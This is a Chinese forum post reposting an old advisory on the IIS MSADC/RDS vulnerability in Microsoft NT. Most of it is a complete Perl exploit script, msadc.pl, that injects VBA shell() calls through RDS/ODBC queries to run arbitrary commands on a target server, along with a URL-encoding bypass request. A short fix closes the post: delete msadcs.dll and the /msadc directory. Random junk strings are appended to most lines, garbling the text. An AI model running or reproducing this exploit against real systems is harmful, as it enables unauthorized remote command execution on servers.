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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 1zIrU6H2;_  
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涉及程序: ;f~z_3g  
Microsoft NT server Z]k+dJ[-  
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描述: V w5@)l*f  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 (lLCAmK 5?  
j)lgF:  
详细: {3N5Fi7S  
如果你没有时间读详细内容的话,就删除: FSyeDC^@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll giu8EjzK  
有关的安全问题就没有了。 FS6I?q#tQ  
--g? `4  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `l<pH<F  
=>Dw ,+"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 h 7*#;j  
关于利用ODBC远程漏洞的描述,请参看: F1b~S;lm  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 'Q4V(.   
Y[`%j\=  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 m^Rf6O^  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp k4BiH5\hA  
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这里不再论述。 $6yr:2Xvt  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 42 &m)  
%^<A` Q_  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset S0mF %"  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! nISfRXU;  
U?yKwH^{  
%|gj46  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ]?j[P=\  
mx")cGGQ  
#!perl ~e R6[;  
# 5wGc"JHm  
# MSADC/RDS 'usage' (aka exploit) script F(+dX4$  
# .="[In '  
# by rain.forest.puppy w\Bx=a>vc  
# 4P$#m<;t  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me `|g*T~; kC  
# beta test and find errors! O-YB +~"3Z  
]5hGSl2  
use Socket; use Getopt::Std; zoO9N oUHW  
getopts("e:vd:h:XR", \%args); O^I%Xk  
P1}Fn:Xe%7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Vv5#{+eT;  
pk2}]jx"  
if (!defined $args{h} && !defined $args{R}) { S1a}9Z|  
print qq~ 4@ =l'Fw  
Usage: msadc.pl -h <host> { -d <delay> -X -v } mp+lN:  
-h <host> = host you want to scan (ip or domain) parc\]M  
-d <seconds> = delay between calls, default 1 second "\u_gk{g  
-X = dump Index Server path table, if available zM mV Yx  
-v = verbose |h75S.UY  
-e = external dictionary file for step 5 Tq=OYJq5U  
.~fAcc{Qj  
Or a -R will resume a command session VS_xC $X!S  
R'{BkC}.  
~; exit;} hu''"/raM  
7K}Sk  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; lhLE)B2a2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} K/+w6d  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} %b(non*  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 9t^Q_[hG  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ~LuR)T=%es  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } KgMW  
]@UJ 8hDy  
if (!defined $args{R}){ $ret = &has_msadc; Lv`NS+fX  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ,c_NXC^X?  
Uq}-<q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;~5w`F)  
. "cmd /c "; }^Kye23  
$in=<STDIN>; chomp $in; |UZhMF4/-L  
$command="cmd /c " . $in ; Kv26rY8Q  
nkvkHh  
if (defined $args{R}) {&load; exit;} _& qM^  
{=GWQn6cc  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <!M ab}  
&try_btcustmr; 6 su^yt  
-H;p +XAY  
print "\nStep 2: Trying to make our own DSN..."; ]$gBX=  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; @(_M\>!%M  
fooQqWC)  
print "\nStep 3: Trying known DSNs..."; Q-LDFnOFwp  
&known_dsn; . |g67PH=  
A(>kp=~  
print "\nStep 4: Trying known .mdbs..."; ]jL`*tI\S  
&known_mdb; 9e:}q O5)  
zHsWj^m"  
if (defined $args{e}){ (1my9k5C  
print "\nStep 5: Trying dictionary of DSN names..."; @hE$x-TP0  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } HX]pcX^K  
umD[4aP~;  
print "Sorry Charley...maybe next time?\n"; A&~<qgBTp  
exit; < BNCo5*  
P6cc8x9g(  
############################################################################## [rt+KA  
q:D!@+U  
sub sendraw { # ripped and modded from whisker LVj62&,-  
sleep($delay); # it's a DoS on the server! At least on mine... Cyw cJ  
my ($pstr)=@_; u LXV,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || kTLA["<m  
die("Socket problems\n"); !z.C}n5F  
if(connect(S,pack "SnA4x8",2,80,$target)){ }4n?k'_s?  
select(S); $|=1; j 4B|ktf  
print $pstr; my @in=<S>; ^YLpZoo  
select(STDOUT); close(S); }m6j6uAR6)  
return @in; ? <.U,  
} else { die("Can't connect...\n"); }} _+\hDV>v  
5Se S^kJC  
############################################################################## iVKX *kqc  
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sub make_header { # make the HTTP request &E>zvRBQ  
my $msadc=<<EOT 3g#fX{e_5!  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 D|1pBn.b]'  
User-Agent: ACTIVEDATA 3)J0f+M>dv  
Host: $ip (y xrK  
Content-Length: $clen ]k (n_+!  
Connection: Keep-Alive ) !!xvyc  
L8FLHT+R-  
ADCClientVersion:01.06 Ih!D6  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "c  S?t  
3 #zw Y  
--!ADM!ROX!YOUR!WORLD! Y C uuj$  
Content-Type: application/x-varg |# zznT"  
Content-Length: $reqlen P|S'MS';:  
mne=9/sE"  
EOT n?QpVROo\  
; $msadc=~s/\n/\r\n/g; E Fx@O  
return $msadc;} y ~ A]  
f;(]P  
############################################################################## W*xz 0  
nFn@Z'T$N  
sub make_req { # make the RDS request / !*gH1 s  
my ($switch, $p1, $p2)=@_; b7:B[7yK.x  
my $req=""; my $t1, $t2, $query, $dsn; I+Q`i:\,q  
:X`Bc"  
if ($switch==1){ # this is the btcustmr.mdb query IJ%S[>  
$query="Select * from Customers where City=" . make_shell(); *Iu .>nw  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . OudD1( )W  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} o >=YoG  
&&w7-  
elsif ($switch==2){ # this is general make table query o.}?K>5  
$query="create table AZZ (B int, C varchar(10))"; S|8O$9{x9q  
$dsn="$p1";} S:UtmS+K  
'M*+HY\.0  
elsif ($switch==3){ # this is general exploit table query (\si/&  
$query="select * from AZZ where C=" . make_shell(); fU+A~oL%I  
$dsn="$p1";} .g7ebh6D  
"Iy @PR?>  
elsif ($switch==4){ # attempt to hork file info from index server FshQ OFW  
$query="select path from scope()"; z90=,wd  
$dsn="Provider=MSIDXS;";} Q-[^!RAK?  
~lR"3z_Z}  
elsif ($switch==5){ # bad query &pZUe`3  
$query="select"; uW&P1 'X  
$dsn="$p1";} ?D#]g[6  
SR#%gR_SC  
$t1= make_unicode($query); Xf.w( -  
$t2= make_unicode($dsn); KB,!s7A  
$req = "\x02\x00\x03\x00"; RN?z)9!  
$req.= "\x08\x00" . pack ("S1", length($t1)); iz`u@QKc%  
$req.= "\x00\x00" . $t1 ; a; Ihv#q  
$req.= "\x08\x00" . pack ("S1", length($t2)); 7CGKm8T  
$req.= "\x00\x00" . $t2 ; A#mf*]'  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; R{r0dK"_  
return $req;} -IR9^)  
\^wI9g~0  
############################################################################## W39R)sra  
ms=I lz  
sub make_shell { # this makes the shell() statement 3ySP*J5  
return "'|shell(\"$command\")|'";} z,nRw/o  
~>@Dn40  
############################################################################## - v9V/LJ  
V*U7-{ *a  
sub make_unicode { # quick little function to convert to unicode $cev,OW6]  
my ($in)=@_; my $out; 9-+6Ed^2  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } x C'>W"pY  
return $out;} ~BVg#_P  
%}G:R !4 d  
############################################################################## DTdL|x.{  
_Y*: l7  
sub rdo_success { # checks for RDO return success (this is kludge) V%pdXM5  
my (@in) = @_; my $base=content_start(@in); )gNHD?4x  
if($in[$base]=~/multipart\/mixed/){ V#W(c_g  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} |WeLmy%9  
return 0;} ,\5]n&T;r  
Vkex&?>v$  
############################################################################## ^/HE_keY  
7581G$@ym  
sub make_dsn { # this makes a DSN for us RIUJ20PfYQ  
my @drives=("c","d","e","f"); :yvUHx  
print "\nMaking DSN: "; S<Q6b_D  
foreach $drive (@drives) { >P5 EW!d  
print "$drive: "; Dyp'a  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . au8bEw&W  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -t % .I=|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Dj>.)n  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; H BmjB=  
return 0 if $2 eq "404"; # not found/doesn't exist ^HKxaW9W  
if($2 eq "200") { s&vOwPmV  
foreach $line (@results) { U %Aj~K^b  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} il-v>GJU7{  
} return 0;} Y 3[<  
K:P gkc  
############################################################################## oZ%t!Fl1  
'<m[  
sub verify_exists { 9Dd/g7  
my ($page)=@_; }6eWdm!B  
my @results=sendraw("GET $page HTTP/1.0\n\n"); .+aSa?h_  
return $results[0];} P/t$xqAL  
A]B D2   
############################################################################## NF0} eom  
2P9hx5PiV  
sub try_btcustmr { NS=puo  
my @drives=("c","d","e","f"); 9F k wtF  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b/]C, P  
Cs%'Af  
foreach $dir (@dirs) { Y&k'4Y%  
print "$dir -> "; # fun status so you can see progress 2`t4@T  
foreach $drive (@drives) { a+*|P  
print "$drive: "; # ditto 4MRHz{`wa  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; CN: 36  
$reqlenlen=length( "$reqlen" ); <s-_ieW'  
$clen= 206 + $reqlenlen + $reqlen; ? Z8_(e0U  
t,R5FoV  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Oa7`Y`6  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} xgJ2W_  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} W ;IvR   
 7P]_03  
############################################################################## ` M"Zq  
L<QqQ"`  
sub odbc_error { .he%a3e  
my (@in)=@_; my $base; 5nqj  
my $base = content_start(@in); 50rq} -  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ux VXnQQ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; yXrFH@3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; H@__%KBw  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *BBP"_$  
return $in[$base+4].$in[$base+5].$in[$base+6];} 6}Y^X  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; @<},-u  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ksm=<I"C  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]=q?= %H  
|...T 4:^Y  
############################################################################## w{K_+}fAC  
j4H,*fc  
sub verbose { )F]E[sga  
my ($in)=@_; |? ?uVA)\X  
return if !$verbose; 5`6@CRef  
print STDOUT "\n$in\n";} 2#6yO`?uo  
b)$<aFl  
############################################################################## E[2c`XFd8  
&OGY?[n  
sub save { v.\1-Q?  
my ($p1, $p2, $p3, $p4)=@_; bbiDY  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; GIo&zPx  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 5x4JDaG2  
close OUT;} E+>Qpy  
 z{``v|K  
############################################################################## 6!Ji-'\"  
;2)@NH  
sub load { t1g)Y|@d  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; C#>c(-p>RC  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); zWB>;Z}  
@p=<IN>; close(IN); N}VKH5U|  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 3HFsR)  
$target= inet_aton($ip) || die("inet_aton problems"); RH6qi{)i!  
print "Resuming to $ip ..."; 98Pt&C?-B  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a,M7Bb x  
if($p[1]==1) { <G\q/!@_  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; cl1h;w9s  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; M*8Ef^-U`t  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); /S\P=lcb  
if (rdo_success(@results)){print "Success!\n";} 1/6G&RB  
else { print "failed\n"; verbose(odbc_error(@results));}} vy1:>N?#5  
elsif ($p[1]==3){ JL`n12$m  
if(run_query("$p[3]")){ gAgzM?A1(  
print "Success!\n";} else { print "failed\n"; }} noOG$P#  
elsif ($p[1]==4){ @\z2FJ79w  
if(run_query($drvst . "$p[3]")){ LJfd{R1y+  
print "Success!\n"; } else { print "failed\n"; }} !4]w b!F  
exit;}  yYp!s  
MPT*[&\-  
############################################################################## #r#UO  
+<|6y46  
sub create_table { I r<5%  
my ($in)=@_; e6QUe.S  
$reqlen=length( make_req(2,$in,"") ) - 28; b)3dZ*cOJ  
$reqlenlen=length( "$reqlen" ); g15e|y)th  
$clen= 206 + $reqlenlen + $reqlen; ,~JxYh  
my @results=sendraw(make_header() . make_req(2,$in,"")); g"hm"m}i  
return 1 if rdo_success(@results); a%7%N N*i  
my $temp= odbc_error(@results); verbose($temp); L @t<%fy@  
return 1 if $temp=~/Table 'AZZ' already exists/; Z-*L[  
return 0;} M7fw/i  
*s S7^OZ*  
############################################################################## %W+*)u72(  
GO+cCNMa"  
sub known_dsn { z6ArSLlZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go EUu"H` E+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", sZFjkfak  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", M@E*_U!U  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); *(PGL YK  
 l}5@6;}  
foreach $dSn (@dsns) { &^{HD }/{b  
print "."; |t!kD(~r  
next if (!is_access("DSN=$dSn")); Vqb4 MWW  
if(create_table("DSN=$dSn")){ L#M9!  
print "$dSn successful\n"; r|{h7'  
if(run_query("DSN=$dSn")){ xCEEv5(5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { i~MCY.F  
print "Something's borked. Use verbose next time\n";}}} print "\n";} M`9qo8zCi  
ZXFM_>y 5  
############################################################################## uv/I`[@HK8  
QDF1$,s4i  
sub is_access { (UA a  
my ($in)=@_; C~yfuPr\B  
$reqlen=length( make_req(5,$in,"") ) - 28; 1*Yf[;L  
$reqlenlen=length( "$reqlen" ); V&eti2 &zO  
$clen= 206 + $reqlenlen + $reqlen; bT|a]b:  
my @results=sendraw(make_header() . make_req(5,$in,"")); /![S 3Ol  
my $temp= odbc_error(@results); *rXESw]BR  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?76Wg::  
return 0;} 0 gL]^_+7  
x$[<<@F%  
############################################################################## z+@aQ@75  
&<_*yl p  
sub run_query { \rF6"24t6  
my ($in)=@_; N)RyRR.x1.  
$reqlen=length( make_req(3,$in,"") ) - 28; _rR+u56y-  
$reqlenlen=length( "$reqlen" ); p&>*bF,  
$clen= 206 + $reqlenlen + $reqlen; \A6MVMF8  
my @results=sendraw(make_header() . make_req(3,$in,"")); q?nXhUD  
return 1 if rdo_success(@results); o )G'._  
my $temp= odbc_error(@results); verbose($temp); kn^RS1m  
return 0;} 1y2D]h/'  
J{ P<^<m_  
############################################################################## k?;A#L~  
JN .\{ Y  
sub known_mdb { +?w 7Nm`  
my @drives=("c","d","e","f","g"); TUw^KSa  
my @dirs=("winnt","winnt35","winnt351","win","windows"); m$ )yd~  
my $dir, $drive, $mdb; (CJiCtAsl`  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; X};m\Bz  
me_DONW  
# this is sparse, because I don't know of many =!w5%|r.  
my @sysmdbs=( "\\catroot\\icatalog.mdb", j&6,%s-M`a  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", mS p -  
"\\system32\\certmdb.mdb", *`mPPts}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% zH0%; o}  
[ >O4hifq  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9z$]hl  
"\\cfusion\\cfapps\\forums\\forums_.mdb", WS/^WxRY  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", z\Rs?v"  
"\\cfusion\\cfapps\\security\\realm_.mdb", 3l_Ko %qS  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", `MA ee8u'  
"\\cfusion\\database\\cfexamples.mdb", X/ gIH/  
"\\cfusion\\database\\cfsnippets.mdb", gbsRf&4h  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ! @{rk p  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1P. W 34  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ^VK-[Sz&  
"\\cfusion\\database\\smpolicy.mdb", )@09Y_9r  
"\\cfusion\\database\cypress.mdb", X^r5su?  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", \V  /s  
"\\website\\cgi-win\\dbsample.mdb", p(QB5at  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", EgOAEv  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" A[oLV"J6x5  
); #these are just W$B&asO  
foreach $drive (@drives) { *;"N kCf  
foreach $dir (@dirs){ bY|%ois4  
foreach $mdb (@sysmdbs) { #+N\u*-S  
print "."; bE#=\kf|  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 1t_$pDF}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; hb9e6Cc  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ guz{DBlK  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; KE1S5Mck>  
} else { print "Something's borked. Use verbose next time\n"; }}}}} lhw]?\  
gh=s#DQsFw  
foreach $drive (@drives) { F1J Sf&8  
foreach $mdb (@mdbs) { %Koc^ pb)  
print "."; 4:q<<vCJv  
if(create_table($drv . $drive . $dir . $mdb)){ kMWu%,s4  
print "\n" . $drive . $dir . $mdb . " successful\n"; bj\v0NKN4  
if(run_query($drv . $drive . $dir . $mdb)){ {_0Efc=7  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; WMnR+?q  
} else { print "Something's borked. Use verbose next time\n"; }}}} S+py \z%  
} t j&+HC  
c9-$t d&  
############################################################################## f{xR s-u]  
EAn}8#r'(8  
sub hork_idx { >y mMQEX`  
print "\nAttempting to dump Index Server tables...\n"; U_v{Vs  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; /+l3 BeL  
$reqlen=length( make_req(4,"","") ) - 28; S+3'C  
$reqlenlen=length( "$reqlen" ); %Fig`qX  
$clen= 206 + $reqlenlen + $reqlen; )^7Y^u e  
my @results=sendraw2(make_header() . make_req(4,"","")); sDT(3{)L7  
if (rdo_success(@results)){ 0,)B~|+  
my $max=@results; my $c; my %d; W{O:j  
for($c=19; $c<$max; $c++){ e48`cX\E  
$results[$c]=~s/\x00//g; ^"7tfo8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; d af$`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ("0@_05OH  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; dya]^L}fL  
$d{"$1$2"}="";} T=35?   
foreach $c (keys %d){ print "$c\n"; } 9w'3d @  
} else {print "Index server doesn't seem to be installed.\n"; }} 06"p ^#  
!<H[h4g  
############################################################################## m(>_C~rGN  
Xt~`EN  
sub dsn_dict { 4o8uWS{`  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 5W"nn  
while(<IN>){ mA}-hR%  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Q}FDu,  
next if (!is_access("DSN=$dSn")); J\<7M8   
if(create_table("DSN=$dSn")){ 0* < gGC  
print "$dSn successful\n"; L@2%a'  
if(run_query("DSN=$dSn")){ #c@Dn.W  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^prseO?A  
print "Something's borked. Use verbose next time\n";}}} mt3j- Mw  
print "\n"; close(IN);} &o{I9MD  
Oe4 l` =2  
############################################################################## 0-pLCf  
N(>a-a  
sub sendraw2 { # ripped and modded from whisker 6NH.!}"G9  
sleep($delay); # it's a DoS on the server! At least on mine... EbSH)aR  
my ($pstr)=@_; }c1Vu  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || nkTH#WTfR  
die("Socket problems\n"); 1{4d)z UB  
if(connect(S,pack "SnA4x8",2,80,$target)){ [Av#Z)R  
print "Connected. Getting data"; fN~kd m.  
open(OUT,">raw.out"); my @in; Mnyg:y*=  
select(S); $|=1; print $pstr; T0s7aw[zm  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} %^[45e  
close(OUT); select(STDOUT); close(S); return @in; DrLNY"Zq  
} else { die("Can't connect...\n"); }} TJ[C,ic=D  
Y,RED5]t  
############################################################################## v39`ct=e  
?(Q" y\  
sub content_start { # this will take in the server headers tt%Zwf  
my (@in)=@_; my $c; r?Jxl<  
for ($c=1;$c<500;$c++) { kCfSF%W&  
if($in[$c] =~/^\x0d\x0a/){ qH!}oPeU'  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ;ZX P*M9  
else { return $c+1; }}} tW53&q\=  
return -1;} # it should never get here actually `l@[8H%aw  
(oX|lPD<b  
############################################################################## fx %Y(W#5  
0#4_vg .  
sub funky { ;l> xXSB7$  
my (@in)=@_; my $error=odbc_error(@in); F +PIZ%  
if($error=~/ADO could not find the specified provider/){  hLFf  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; GHj1G,L@\  
exit;} *@o@>  
if($error=~/A Handler is required/){ 7Ipt~K}  
print "\nServer has custom handler filters (they most likely are patched)\n"; E*ybf'  
exit;} vpXC5|9U  
if($error=~/specified Handler has denied Access/){ >JwdVy^  
print "\nServer has custom handler filters (they most likely are patched)\n"; r@FdxsCnGM  
exit;}} H`q" _p:  
9 tkj:8_  
############################################################################## &?>h#H222  
K];nM}<  
sub has_msadc { O-Hu:KuIf  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); I\DmVc\l  
my $base=content_start(@results); T:o!H Xdj^  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); :zfnp,Gv  
return 0;} v#&r3ZW0  
_ _cJ+%e  
######################## ~E-YXl9  
,!t1( H  
B04%4N.g"X  
解决方案: %41dVnWB^4  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 6l&m+!i  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 4NN-'Z>a  
[0.>:wT  
拿出来充数 哈哈
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